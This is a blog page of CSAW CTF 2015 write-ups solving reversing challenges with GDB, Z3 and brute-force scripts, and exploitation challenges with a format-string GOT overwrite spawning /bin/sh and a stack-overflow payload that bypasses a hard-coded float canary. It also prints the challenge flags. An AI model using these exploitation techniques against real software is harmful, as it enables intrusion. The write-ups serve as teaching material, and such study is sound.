Vulnerabilities

Wednesday, September 23, 2015

CSAW CTF - RE500 - wyvern

We got a 64-bit ELF for this challenge. Running strings shows the use of Obfuscator-LLVM
Obfuscator-LLVM clang version 3.6.1 (tags/RELEASE_361/final) (based on Obfuscator-LLVM 3.6.1)
The binary expects a valid key!
$ ./wyvern_c85f1be480808a9da350faaa6104a19b 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
 brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret:
For further analysis, I used PIN based tracer. First objective was to find the length. Supplying an input of 100 bytes, the CMP instruction was found using PIN
0x4046b6 : cmp rax, rcx
0x4046b6 : [0x64] [0x1c]
The length of key is 28 bytes. Now lets see if we could find the algorithm by tracking user input using PIN tool. Supplying input as BAAAAAAAAAAAAAAAAAAAAAAAAAAA, below instructions were found:
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0] := [0x42]      -> input B
--
0x402a7f : cmp eax, ecx
0x402a7f : [0x64] [0x42]      -> compared with 0x64
Now supplying input as dBAAAAAAAAAAAAAAAAAAAAAAAAAA
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0x64] := [0xa5]   -> input A and 0x64 from previous operation
--
0x402a7f : cmp eax, ecx       
0x402a7f : [0xd6] [0xa5]
So the algorithm reads each byte of user input, compares with a hard coded array, which is a sum input and previous result
0x00 + input[0] == 0x64
0x64 + input[1] == 0xd6
.....
Lets fetch the array using GDB by setting breakpoint at 0x402a7f, and compute the flag
import gdb

sum_array = [0]
def exit_handler(event):
    key = ''
    for i in range(len(sum_array)-1):
        key += chr(sum_array[i+1] - sum_array[i]) 
    print key
    
def callback_fetch_array():
    EAX = int(gdb.parse_and_eval("$eax"))
    sum_array.append(EAX)
    gdb.execute("set $ecx = $eax")

class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False)
        self.callback = callback
        
    def stop(self):
        self.callback()
        return False

HitBreakpoint("*0x402a7f", callback_fetch_array) 
gdb.events.exited.connect(exit_handler)
$ gdb -q ./wyvern_c85f1be480808a9da350faaa6104a19b

gdb-peda$ source re500.py
Breakpoint 1 at 0x402a7f

gdb-peda$ run
Enter the dragon's secret: AAAAAAAAAAAAAAAAAAAAAAAAAAAA

[+] A great success! Here is a flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAA}
[Inferior 1 (process 33655) exited normally]
dr4g0n_or_p4tric1an_it5_LLVM
So the key is dr4g0n_or_p4tric1an_it5_LLVM

CSAW CTF - RE300 - FTP

The challenge binary is a 64 bit executable. The objective was to login as user blankwall by finding the password. The supplied password is processed using a hash function at 0x00401540. Below is the decompiled code of the function:
uint32_t calc_hash(char *input)
{
  int counter; 
  uint32_t state; 

  state = 5381;
  for (counter = 0; input[counter]; ++counter)
    state = 33 * state + input[counter];
  return state;
}
The output of this function must be equal to 0x0D386D209. The length of the password is not known and state variable is 32-bit, hence modulo 0xffffffff. I used Z3 to solve this and multiple solutions are possible. Below is the solver:
#!/usr/bin/env python

from z3 import * 

# >>> (0x1505 * 0x21 * 0x21 * 0x21) < 0xD386D209
# True
# minimum length of password
passlen = 4

def init_solver(passlen):
    s = Solver()
    vectors = {}
    for c in range(passlen):
        vec = BitVec(str(c), 8)
        vectors[c] = vec
        s.add(And(0x20 < vec, vec < 0x7F))
    return s, vectors

while True:
    s, vectors = init_solver(passlen)
    state = 0x1505 
    for i in range(passlen):
        vec = ZeroExt(24, vectors[i])
        state = state * 0x21 + vec
    s.add(state == 0xD386D209)

    if s.check() == sat: break
    passlen += 1

m = s.model()
c = lambda m, i: chr(m[vectors[i]].as_long())
print ''.join([c(m,i) for i in range(passlen)])
This gives the password UIcy1y. Login using the password as
con.write('USER blankwall' + chr(0xa))
password = 'PASS UIcy1y\x00' + chr(0xa)
con.write(password)
The file re_solution had the flag, flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

CSAW CTF - RE200 - Hacking Time

For this challenge we got a NES ROM to reverse engineer.
HackingTime_03e852ace386388eb88c39a02f88c773.nes: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]
I used FCEUX emulator to run the ROM file. The game asks for a password after few messages



The ROM memory could be viewed using Hex viewer, provided as part of FCEUX debug tools. I supplied a password ABCDABCDABCDABCDABCDABCD and found this is memory



Then set read memory access breakpoint for address 0x5 i.e. first byte of string. Now on continuing the game, the breakpoint is hit



The program counter is at 0x82F7, so we know what part of code to analyze. Then I found the Nintendo Entertainment System (NES) ROM loader module for IDA Pro, for analyzing the challenge ROM.
ROM:82F1 algorithm:                              ; CODE XREF: main_function+1C7
ROM:82F1                 LDY     #0
ROM:82F3                 LDA     #0
ROM:82F5                 STA     VAL
ROM:82F7
ROM:82F7 process_loop:                           ; CODE XREF: algorithm+44
ROM:82F7                 LDA     5,Y             ; LDA INPUTKEY,A
ROM:82FA                 TAX                     ; X = A
ROM:82FB                 ROL     A               ; ROL A,1
ROM:82FC                 TXA                     ; A = X
ROM:82FD                 ROL     A               ; ROL A, 1
ROM:82FE                 TAX                     ; X = A
ROM:82FF                 ROL     A               ; ROL A, 1
ROM:8300                 TXA                     ; A = X
ROM:8301                 ROL     A               ; ROL A,1
ROM:8302                 TAX                     ; X = A
The PC 0x82F7, takes us to the actual validation algorithm used. The algorithm processes one byte at a time using multiple rotate operations and couple of XOR's with hardcoded arrays values. Good reference to instruction set is found here. The algorithm was rewritten in python and bruteforce gave the solution
import string

CHECKA = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64, 0xb3, 0x16,
          0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42, 0xb1, 0xa1, 0x37, 0x15,
          0x6e, 0x88, 0x2a, 0xab]
CHECKB = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d, 0x58, 0xd0,
          0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e, 0x2e, 0xb4, 0xb4, 0x10,
          0xcb, 0x1d, 0xc2, 0x66, 0x3b]

CF = 0
def ROR(REG): 
    global CF
    if CF: REG |= 0x100
    CF = REG & 1
    REG  >>= 1
    return REG
    
def ROL(REG):
    global CF
    REG <<= 1
    if CF: REG |= 1
    CF = 1 if (REG > 0xFF) else 0
    return REG & 0xFF

STACK = 0
ADDR_3B = 0
KEY = ''

for Y in range(24):
    for A in string.uppercase+string.digits:
        C = A
        VAL_3B = ADDR_3B
        A = ord(A)  # ROM:82F7                 LDA     $5,Y  
        X = A       # ROM:82FA                 TAX
        A = ROL(A)  # ROM:82FB                 ROL     A
        A = X       # ROM:82FC                 TXA
        A = ROL(A)  # ROM:82FD                 ROL     A
        X = A       # ROM:82FE                 TAX 
        A = ROL(A)  # ROM:82FF                 ROL     A
        A = X       # ROM:8300                 TXA   
        A = ROL(A)  # ROM:8301                 ROL     A 
        X = A       # ROM:8302                 TAX     
        A = ROL(A)  # ROM:8303                 ROL     A
        A = X       # ROM:8304                 TXA      
        A = ROL(A)  # ROM:8305                 ROL     A
        STACK = A   # ROM:8306                 PHA 
        A = VAL_3B  # ROM:8307                 LDA     ROLL 
        X = A       # ROM:8309                 TAX
        A = ROR(A)  # ROM:830A                 ROR     A 
        A = X       # ROM:830B                 TXA  
        A = ROR(A)  # ROM:830C                 ROR     A
        X = A       # ROM:830D                 TAX  
        A = ROR(A)  # ROM:830E                 ROR     A
        A = X       # ROM:830F                 TXA 
        A = ROR(A)  # ROM:8310                 ROR     A
        VAL_3B = A  # ROM:8311                 STA     ROLL
        A = STACK   # ROM:8313                 PLA
        CF = 0      # ROM:8314                 CLC 
        A = (A + VAL_3B) & 0xFF # ROM:8315     ADC     ROLL
        A = A ^ CHECKA[Y]   # ROM:8317     EOR     $955E,Y
        VAL_3B = A  # ROM:831A                 STA     ROLL
        X = A       # ROM:831C                 TAX 
        A = ROL(A)  # ROM:831D                 ROL     A
        A = X       # ROM:831E                 TXA
        A = ROL(A)  # ROM:831F                 ROL     A
        X = A       # ROM:8320                 TAX
        A = ROL(A)  # ROM:8321                 ROL     A
        A = X       # ROM:8322                 TXA
        A = ROL(A)  # ROM:8323                 ROL     A 
        X = A       # ROM:8324                 TAX
        A = ROL(A)  # ROM:8325                 ROL     A
        A = X       # ROM:8326                 TXA
        A = ROL(A)  # ROM:8327                 ROL     A
        X = A       # ROM:8328                 TAX    
        A = ROL(A)  # ROM:8329                 ROL     A 
        A = X       # ROM:832A                 TXA      
        A = ROL(A)  # ROM:832B                 ROL     A
        A = A ^ CHECKB[Y]   # ROM:832C         EOR     $9576,Y
        if A == 0:
            KEY += C
            ADDR_3B = VAL_3B
            break
        else: 
            VAL_3B = 0
print KEY
The flag is NOHACK4UXWRATHOFKFUHRERX

CSAW CTF - Exploitables300 - FTP

This is a continuation of Reversing 300 challenge. The goal is to read the flag file. But the binary has a protection, if filename has 'f' character, then the request is considered invalid. This invalid character 'f' used for comparison is saved as part of bss memory, hence writeable.

There were few bugs in this binary

[*] Buffer overflow in password handling function @ 0x040159B. Input buffer is copied into stack till space character
password_sz = strlen(pass_command);
for ( i = 0; *pass_command != ' ' && password_sz-1 >= i; ++i )
{
    c = pass_command++;
    command[i] = *c;                            
}
USER blankwall
Please send password for user blankwall
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
login with USER PASS
[0x4017c5] __stack_chk_fail(4, 0x403086, 21, -1*** stack smashing detected ***: ./ftp_0319deb1c1c033af28613c57da686aa7 terminated
 <no return ...>
[pid 34300] [0x7ffff7a4bcc9] --- SIGABRT (Aborted) ---
[pid 34300] [0xffffffffffffffff] +++ killed by SIGABRT +++
[*] Buffer overflow in command handling function @ 0x00402673, same as password handling function
memset(command, 0, 128);

command_sz = strlen(command_string);
for ( i = 0; *command_string != ' ' && command_sz-1 >= i; ++i )
{
   c = command_string++;
   command[i] = *c;                        
}
[*] Arbitrary NUL write when handling STOR command @ 0x00401DF9. Amount of bytes received is not checked and used as index for string termination
while (1)
{
    bytes_read = recv(socket, file_information, 10, 0);
    total_size += bytes_read;
}

file_information[total_size] = 0;
file_information buffer resides above invalid character buffer, hence could be used to toggle off the invalid charcacter byte.
.bss:0000000000604408 invalid_character dd ?  
RAX: 0x208
=> 0x401ee0: mov    BYTE PTR [rax+0x604200],0x0

gdb-peda$ x/x 0x604200+0x208
0x604408: 0x0000000000000066
[*] The file_information buffer is used in couple of other functions like LIST and RETR, which could also overwrite the invalid character byte.
Direction Type Address         Text                                     
--------- ---- -------         ----                                     
          o    LIST:loc_401BAD mov     [rbp+s], offset file_information 
Down      o    LIST+26F        mov     esi, offset file_information     
Down      o    STOR+8F         mov     esi, offset file_information; buf
Down      w    STOR+E7         mov     ds:file_information[rax], 0      
Down      o    RETR+134        mov     edi, offset file_information; ptr
Down      o    RETR+158        lea     rsi, file_information[rax]; buf  
Flag for the challenge is flag{exploiting_ftp_servers_in_2015}

CSAW CTF - Exploitables250 - contacts

This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
struct contact {
    char *description;
    char *phonenumber;
    char name[64];
    int desc_size;
    int inuse;
};
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
.text:08048A4E mov     edx, ds:stdin
.text:08048A54 mov     eax, [ebp+size]
.text:08048A57 mov     ecx, [ebp+contact]
.text:08048A5A add     ecx, 8
.text:08048A5D mov     [esp+8], edx    ; stream
.text:08048A61 mov     [esp+4], eax    ; n
.text:08048A65 mov     [esp], ecx      ; s
.text:08048A68 call    _fgets        
printf("New name: ");
fgets(contact->name, size, stdin);          
Next bug is a format string vulnerability in display contact feature:
is_inuse = contact->inuse;
if (is_inuse)
     PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);

int PrintDetails(char *name, int size, char *phonenumber, char *description)
{
  printf("\tName: %s\n", name);
  printf("\tLength %u\n", size);
  printf("\tPhone #: %s\n", phonenumber);
  printf("\tDescription: ");
  printf(description);                   
}
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.

Exploit details:

[*] Trigger info leak using format string
804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
GOT address of free = 0x0804b014
>>> 0xb014
45076
>>> 0x0804
2052

FRAME0EBP   FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'

FRAME0EBP-->FRAME1EBP+2   # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'

FRAME0EBP   FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT 
payload = '%.' + str(2052) + 'u%18$hn'
[*] Read the GOT entry of free, to leak libc address
payload = "%30$s"
[*] Then overwrite GOT of free with address to system
# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
Update GOT address in stack to point to MSB bytes
payload = '%.' + str(45078) + 'u%18$hn'
# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
[*] Create a contact with /bin/sh\x00 as description

[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")

Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}

CSAW CTF - Exploitables100 - precision

Given 32-bit ELF reads user input using scanf("%s", &buf), resulting in buffer overflow. Just before returning, it does a floating point comparison
.text:08048529                 fld     ds:floating_num
.text:0804852F                 fstp    [esp+0A0h+check]

.text:08048596                 fld     [esp+0A0h+check]
.text:0804859D                 fld     ds:floating_num
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short ret
The floating point number is a 64 bit value, which acts as a cookie. Since this value is hardcoded, just fetch it and use it during overwrite
gdb-peda$ x/gx 0x08048690
0x8048690: 0x40501555475a31a5
So contruct a payload like below, to control EIP
payload  = "A" * 128
payload += struct.pack("<Q", 0x40501555475a31a5)
payload += "A"*12 
payload += struct.pack("<I", EIP)
Flag is flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}